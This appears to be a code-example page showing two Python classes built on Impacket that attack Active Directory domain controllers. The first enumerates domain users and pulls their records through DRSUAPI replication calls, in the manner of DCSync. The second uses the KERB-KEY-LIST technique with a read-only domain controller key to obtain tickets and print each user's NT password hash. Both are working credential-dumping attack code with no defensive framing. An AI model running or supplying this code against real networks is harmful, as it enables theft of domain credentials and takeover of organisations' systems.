Пример #1
0
class DRSUAPIOps:
    def __init__(self, target, username, password):
        self.target = target
        self.username = username
        self.password = password

    def run(self):
        while True:
            try:
                self.__smbConnection = SMBConnection(remoteName=self.target,
                                                     remoteHost=self.target)
                self.__smbConnection.login(self.username, self.password)

                self.__remoteOps = RemoteOperations(self.__smbConnection,
                                                    False, None)
                enumerationContext = 0
                status = STATUS_MORE_ENTRIES
                while status == STATUS_MORE_ENTRIES:
                    resp = self.__remoteOps.getDomainUsers(enumerationContext)

                    for user in resp['Buffer']['Buffer']:
                        userName = user['Name']
                        #print('userName : %s' % userName)

                        userSid = self.__remoteOps.ridToSid(user['RelativeId'])
                        crackedName = self.__remoteOps.DRSCrackNames(
                            drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
                            drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
                            name=userSid.formatCanonical())

                        if crackedName['pmsgOut']['V1']['pResult'][
                                'cItems'] == 1:
                            if crackedName['pmsgOut']['V1']['pResult'][
                                    'rItems'][0]['status'] != 0:
                                break
                            userRecord = self.__remoteOps.DRSGetNCChanges(
                                crackedName['pmsgOut']['V1']['pResult']
                                ['rItems'][0]['pName'][:-1])
                            # userRecord.dump()
                            replyVersion = 'V%d' % userRecord['pdwOutVersion']

                    enumerationContext = resp['EnumerationContext']
                    status = resp['ErrorCode']
            except Exception as e:
                if str(e).find('STATUS_PIPE_NOT_AVAILABLE') != -1:
                    continue
                elif str(e).find('STATUS_PIPE_CLOSING') != -1:
                    print('Server is restarting prolly now...')
                    return
                raise e
Пример #2
0
class KeyListDump:
    def __init__(self, remoteName, username, password, domain, options, enum,
                 targets):
        self.__domain = domain
        self.__username = username
        self.__password = password
        self.__aesKey = options.aesKey
        self.__doKerberos = options.k
        self.__aesKeyRodc = options.rodcKey
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__kdcHost = options.dc_ip
        self.__rodc = options.rodcNo
        # self.__kvno = 1
        self.__enum = enum
        self.__targets = targets
        self.__full = options.full
        self.__smbConnection = None
        self.__remoteOps = None
        self.__keyListSecrets = None

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')
        else:
            self.__lmhash = ''
            self.__nthash = ''

    def connect(self):
        try:
            self.__smbConnection = SMBConnection(self.__remoteName,
                                                 self.__remoteHost)
            if self.__doKerberos:
                self.__smbConnection.kerberosLogin(
                    self.__username, self.__password, self.__domain,
                    self.__lmhash, self.__nthash, self.__aesKey,
                    self.__kdcHost)
            else:
                self.__smbConnection.login(self.__username, self.__password,
                                           self.__domain, self.__lmhash,
                                           self.__nthash)
        except Exception as e:
            if os.getenv(
                    'KRB5CCNAME') is not None and self.__doKerberos is True:
                # SMBConnection failed. That might be because there was no way to log into the
                # target system. We just have a last resort. Hope we have tickets cached and that they
                # will work
                logging.debug(
                    'SMBConnection didn\'t work, hoping Kerberos will help (%s)'
                    % str(e))
                pass
            else:
                raise

    def run(self):
        if self.__enum is True:
            self.connect()
            self.__remoteOps = RemoteOperations(self.__smbConnection,
                                                self.__doKerberos,
                                                self.__kdcHost)
            self.__remoteOps.connectSamr(self.__domain)
            self.__keyListSecrets = KeyListSecrets(self.__domain,
                                                   self.__remoteName,
                                                   self.__rodc,
                                                   self.__aesKeyRodc,
                                                   self.__remoteOps)
            logging.info(
                'Enumerating target users. This may take a while on large domains'
            )
            if self.__full is True:
                targetList = self.getAllDomainUsers()
            else:
                targetList = self.__keyListSecrets.getAllowedUsersToReplicate()
        else:
            logging.info('Using target users provided by parameter')
            self.__keyListSecrets = KeyListSecrets(self.__domain,
                                                   self.__remoteName,
                                                   self.__rodc,
                                                   self.__aesKeyRodc, None)
            targetList = self.__targets

        logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)')
        logging.info(
            'Using the KERB-KEY-LIST request method. Tickets everywhere!')
        for targetUser in targetList:
            user = targetUser.split(":")[0]
            targetUserName = Principal(
                '%s' % user,
                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(
                targetUserName)
            fullTGT = self.__keyListSecrets.getFullTGT(targetUserName,
                                                       partialTGT, sessionKey)
            if fullTGT is not None:
                key = self.__keyListSecrets.getKey(fullTGT, sessionKey)
                print(self.__domain + "\\" + targetUser + ":" + key[2:])

    def getAllDomainUsers(self):
        resp = self.__remoteOps.getDomainUsers()
        # Users not allowed to replicate passwords by default
        deniedUsers = [500, 501, 502, 503]
        targetList = []
        for user in resp['Buffer']['Buffer']:
            if user['RelativeId'] not in deniedUsers and "krbtgt_" not in user[
                    'Name']:
                targetList.append(user['Name'] + ":" + str(user['RelativeId']))

        return targetList